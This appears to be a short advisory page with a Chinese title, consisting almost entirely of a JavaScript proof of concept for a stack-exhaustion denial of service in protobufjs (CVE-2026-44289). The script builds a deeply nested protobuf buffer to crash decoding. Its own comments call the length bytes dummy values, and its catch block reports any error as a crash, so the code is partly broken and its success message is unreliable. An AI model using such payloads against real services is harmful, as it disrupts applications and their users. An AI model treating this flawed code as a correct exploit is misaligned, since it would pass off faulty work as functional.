CVE-2026-44289 protobufjs栈耗尽拒绝服务漏洞

// PoC for CVE-2026-44289: Protobufjs Stack Exhaustion (DoS) // This script demonstrates the vulnerability by attempting to decode a // deeply nested protobuf payload which causes stack overflow. const protobuf = require("protobufjs"); // 1. Define a recursive message structure const schema = ` syntax = "proto3"; package poc; message Level { Level next = 1; } `; async function runPoC() { const root = protobuf.parse(schema).root; const Level = root.lookupType("poc.Level"); // 2. Create a malicious payload with deep nesting // Manually constructing a protobuf binary with deeply nested fields. // Each nested group adds a frame to the call stack. const depth = 20000; // Sufficient depth to exhaust stack let bufferParts = []; // Protobuf wire format for nested message (Type 2, Field 1) // This is a simplified representation of a crafted binary payload for (let i = 0; i < depth; i++) { // Start_nested_message (Field 1, Wire Type 2): Tag 0x0A (00001 010) bufferParts.push(Buffer.from([0x0A])); // Length of the inner message (dummy length for demonstration) // In a real exploit, lengths must match the inner content size bufferParts.push(Buffer.from([0x02])); } // Fill end bytes to balance length roughly (Conceptual PoC) for (let i = 0; i < depth; i++) { bufferParts.push(Buffer.from([0x00, 0x00])); // Dummy data } const maliciousPayload = Buffer.concat(bufferParts); console.log(`Sending payload with estimated depth: ${depth}...`); try { // 3. Trigger the vulnerability // The decode function will recurse infinitely until stack crash Level.decode(maliciousPayload); console.log("Exploit failed (Version might be patched)"); } catch (e) { console.log(`[+] Crashed application: ${e.message}`); } } runPoC();